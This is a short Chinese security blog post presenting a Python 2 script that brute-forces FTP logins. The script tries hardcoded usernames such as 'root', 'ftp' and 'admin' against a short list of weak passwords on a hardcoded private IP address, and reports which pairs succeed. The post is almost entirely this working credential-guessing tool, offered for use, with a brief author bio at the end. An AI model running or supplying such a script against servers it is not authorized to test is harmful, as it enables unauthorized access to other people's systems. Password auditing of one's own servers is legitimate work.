FTP弱口令猜解【python脚本】

ftp弱口令猜解 

python脚本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import ftplib,time
username_list=['root','ftp','admin']
password_list=['root','123','ftp','oracle']

def ftp(ip,port=21):
	for username in username_list:
		user =username.rstrip()
		for password in password_list:    
			pwd = password.rstrip()
			try:
				ftp = ftplib.FTP()
				ftp.connect(ip,port, 10)
				ftp.login(user,pwd)
				ftp.quit()
				print '[+] FTP weak password: '+user,pwd
			except:
				print '[-] checking for '+user,pwd+' fail'
				
				
				
if __name__ == '__main__':
	start_time = time.time()

	ftp('192.168.106.131')
	print "\n"
	print 'Checking for FTP weak password: %d 秒' % (time.time() - start_time)

  

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

posted @ 2016-12-07 22:11  Bypass  阅读(2342)  评论(0编辑  收藏  举报